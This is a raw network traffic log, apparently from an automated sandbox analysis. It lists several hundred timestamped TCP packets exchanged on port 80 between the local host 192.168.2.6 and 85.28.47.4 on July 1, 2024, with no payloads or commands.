Jul 1, 2024 07:20:45.869337082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869347095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869352102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869359016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869374990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869380951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869386911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869395971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869400024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869422913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869445086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869627953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869641066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869653940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869664907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869676113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869678974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869694948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869704008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869707108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869719028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869719028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869735003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869746923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869770050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870011091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870022058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870032072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870058060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870071888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870163918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870174885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870186090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870196104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870202065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870207071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870213985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870223045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870234013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870234966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870245934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870259047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870260954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870270967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870274067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870284081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870295048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870301008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870307922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870326042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870343924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870522976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870534897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870539904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870544910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870553970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870563984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870574951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870580912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870594025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870596886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870604992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870615005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870618105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870634079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870642900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870645046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870666027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870688915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870865107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870873928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.870906115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.870923042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871007919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871021032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871030092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871041059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871047974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871064901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871067047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871077061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871088982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871093035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871094942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871098042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871108055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871114016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871118069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871124983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871138096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871150017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871161938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871184111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871432066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871443033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871453047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871463060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871471882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871474981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871488094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871515989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871666908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871679068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871689081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871700048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871705055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871711969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871714115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871722937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871735096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871738911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871752977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871762991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871767998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871773958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871779919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871790886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871799946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871803999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871814966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871819019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871825933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871838093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871845007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871849060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871860981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871861935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871872902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871885061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871885061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871898890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871900082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.871927023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.871948957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.872255087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.872267008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.872277975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.872287989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.872296095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.872302055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.872309923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.872314930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.872325897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.872332096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.872353077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.872378111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961283922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961303949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961318016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961328030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961339951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961412907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961410046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961426973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961440086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961451054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961456060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961458921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961467981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961483002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961510897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961539030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961550951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961561918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961575985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961606026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961687088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961698055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961709023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961719036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961729050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961735010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961740971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961754084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.961756945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961776018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.961793900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962120056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962129116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962133884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962145090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962153912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962165117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962167978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962184906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962188005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962203026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962212086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962215900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962227106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962235928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962238073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962249994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962260962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962263107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962275028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962284088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962299109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962300062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962322950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962342978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962485075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962497950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962507963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962517023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962526083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962528944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962539911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962541103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962553024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962564945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962568045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962575912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962588072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962605953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962785006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962796926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962805986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962816954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962827921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962827921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962841988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962847948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962855101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962863922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962868929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.962889910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.962913036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963150978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963160992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963171005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963182926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963192940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963193893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963206053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963213921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963232040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963282108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963293076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963303089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963314056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963324070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963325024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963337898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963344097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963351011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963360071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963383913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963548899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963562012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963582993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963591099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963594913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963612080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963614941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963619947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963622093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963639021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963665009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963807106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963825941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963836908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963848114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963850975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963860989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963871956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963874102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963884115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963896990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.963896990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963918924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.963932037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964093924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964109898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964123011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964133978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964137077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964144945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964152098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964179993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964243889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964253902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964265108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964277029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964287996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964317083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964317083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964327097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964340925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964353085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964365959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964376926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964384079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964389086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964401960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964406967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964435101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964561939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964605093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964627981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964639902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964651108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964663029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964673042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.964835882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.964835882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.965326071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965337992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965348959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965379953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.965401888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.965401888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965416908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965430021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965440035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.965441942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965459108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.965480089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.965492010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965503931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965516090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.965528011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.965550900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.991743088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.998136997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173300982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173321962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173335075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173346043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173357964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173368931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173376083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173391104 CEST	80	49711	85.28.47.4	192.168.2.6
